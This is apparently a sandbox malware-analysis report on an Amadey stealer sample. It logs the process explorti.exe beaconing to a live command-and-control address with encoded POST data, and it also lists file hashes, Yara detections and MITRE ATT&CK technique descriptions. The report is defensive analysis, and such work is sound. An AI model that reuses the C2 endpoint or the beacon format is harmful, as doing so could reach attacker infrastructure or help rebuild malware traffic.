Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:05.843827963 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:09.920550108 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:14.050484896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:15.380069971 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:20.445524931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:19:41.959041119 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:20:03.600229979 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:20:22.021925926 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:20:26.388489008 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:20:47.753798008 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:21:09.269629955 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:21:30.685717106 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:21:52.175431967 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:22:03.465795994 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	77.91.77.82	80	1184	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 16:22:07.598596096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Target ID:	0
Start time:	10:18:01
Start date:	05/08/2024
Path:	C:\Users\user\Desktop\i52xoegJro.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\i52xoegJro.exe"
Imagebase:	0xb70000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1653348307.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1694752041.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:18:04
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x280000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1693833742.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:18:06
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x280000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1702084308.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1742394004.0000000000281000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:19:00
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x280000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2283345271.0000000000281000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2242898473.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:20:00
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xf70000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2894138512.0000000000281000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2853946702.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:21:00
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x280000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.3448418694.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.3488668703.0000000000281000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:22:00
Start date:	05/08/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x280000
File size:	1'894'400 bytes
MD5 hash:	E566D019241ADDF080EA9DFEA9606E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.4045102484.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.4085592750.0000000000281000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 04DC0C6B Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 698fde41f9ad87ec64236541336f5c467eab30d1ef0d09f13a54e3532a880d4e
Instruction ID: 47ad8bb92d6128dfff4131bbf2988b3e8a9df1c9bf7aeed9a9f8302f0d3c1cdd
Opcode Fuzzy Hash: 698fde41f9ad87ec64236541336f5c467eab30d1ef0d09f13a54e3532a880d4e
Instruction Fuzzy Hash: 2C114FE724D126FD614391C66B119FB6A6EE1C6730330846FF887C6905F295AA493072

Function 04DC0C88 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 3910974f9bb6839d2c750ee069eccb9f5ffdc78754104f78adb8de81a3c8df2e
Instruction ID: df10760382c9f40ceeee470b62ad398fc07af041b225df27dc63f5f11d358b3b
Opcode Fuzzy Hash: 3910974f9bb6839d2c750ee069eccb9f5ffdc78754104f78adb8de81a3c8df2e
Instruction Fuzzy Hash: B421C6E734C262FDA14381D56B159F66B6EE5C7330330846FF887CB902F285AA4A7172

Function 04DC0CB0 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 20dee62db17aa011fbde1e67280120b94efc627436af904e5414cee20486b3ec
Instruction ID: 02896f5c0ac3f87bd97a73b0682a31cb29835bbd7ac6098a364fcc7f92b5be23
Opcode Fuzzy Hash: 20dee62db17aa011fbde1e67280120b94efc627436af904e5414cee20486b3ec
Instruction Fuzzy Hash: 6D1182EB24C122FD614395C96754AF66B5FF1C6730331882BF487D6901B299AA493472

Function 04DC0CD4 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: c0b110ccf5bfb4c37d9eb8573f13003da2a83b03916a6f29c1b92e91fd8b18b1
Instruction ID: 7655816dc4cb0b3b5b12dca0ec91dfdcc67ff4cfe6dcb540e6eccfae84fab265
Opcode Fuzzy Hash: c0b110ccf5bfb4c37d9eb8573f13003da2a83b03916a6f29c1b92e91fd8b18b1
Instruction Fuzzy Hash: FE01C0F724C221FD614392D96A109FA3B9FE1CA330330C46BF887CA901A255AA456532

Function 04DC0CF0 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 1ac4e51f56ae734e86d3ce96c0a73efade7f86f4802ad43bcc0d263aae861986
Instruction ID: f3f921619ce63b73ad9975176ea97facaa1d468f128d6bce708c61f4403d7351
Opcode Fuzzy Hash: 1ac4e51f56ae734e86d3ce96c0a73efade7f86f4802ad43bcc0d263aae861986
Instruction Fuzzy Hash: 5001B9A334C251FE914345D465519FA2F9FE5C733133084AEF4C6CAD06E255BA567132

Function 04DC0D13 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 64f764aacaeaeebfe8a8f2f6b1b113e4000eeb8f496172c2079b985dc5cb2473
Instruction ID: b596ace5693b01b18e393635e09a5bd0b490fc86c05a55dba1e11a92faefad8c
Opcode Fuzzy Hash: 64f764aacaeaeebfe8a8f2f6b1b113e4000eeb8f496172c2079b985dc5cb2473
Instruction Fuzzy Hash: F7F0D1F324C222FE624395D96A409FA7B9BF5C6330330806EF487C6D05F65AA6457532

Function 04DC0D4A Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: ec85468a839877f68b4fff5539cf27685a28ebe231e92b6ebd5d7c40e16ad911
Instruction ID: 8acc4dcc7ce2657e3cfdcc0531a5bf68c70ef101b5d8f4fd67309d38d6cc46c5
Opcode Fuzzy Hash: ec85468a839877f68b4fff5539cf27685a28ebe231e92b6ebd5d7c40e16ad911
Instruction Fuzzy Hash: 12E065E721C112FDA14386866A50AFA275FE1C6734330C86BF4C7C6C05E649BA567972

Function 04DC0D61 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: ad08646c97725047bc559b072ec13d23196b11342cc81a2806d35e5b3a2bd21c
Instruction ID: ec02138a62d1c31328937fd8fbd4e114ef7e9bb8f5e8fbeb16d513a004a05642
Opcode Fuzzy Hash: ad08646c97725047bc559b072ec13d23196b11342cc81a2806d35e5b3a2bd21c
Instruction Fuzzy Hash: D0F030F320C251EEB14286816E209BA6B6ED5C333036084AFF4C7C6546D6586A196532

Function 04DC0D80 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

-n|o, xrefs: 04DC0DDB

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID: -n|o
API String ID: 0-1876034790
Opcode ID: 8a42cebf08c19f5445aa4ef0c873fc95fa950731cecf5ca04a72a8e90c06db33
Instruction ID: c3dfd26e307047dd9fb5e9e2d5bc50c5c51ad5a331b5a7df5ffafc5c46fe5cae
Opcode Fuzzy Hash: 8a42cebf08c19f5445aa4ef0c873fc95fa950731cecf5ca04a72a8e90c06db33
Instruction Fuzzy Hash: 8CE0DFF320C265BF304291D53F24AFA9B6EC1C6730330C46BF842DB806E24A5E0A6132

Non-executed Functions

Function 04DC02AF Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1696746468.0000000004DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4dc0000_i52xoegJro.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2908eb68a2639203c8f9afad87d83adb782181146fccc5af2d078ea3991c3532
Instruction ID: 65ba8383df05b21137a67bea03eff5dab9a5f691ca87e92d30e706d3a83aa303
Opcode Fuzzy Hash: 2908eb68a2639203c8f9afad87d83adb782181146fccc5af2d078ea3991c3532
Instruction Fuzzy Hash: 4701D8E734C552EE660341D41F945F67B2EF4C3230335456EF843DB586E395A54A60B1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
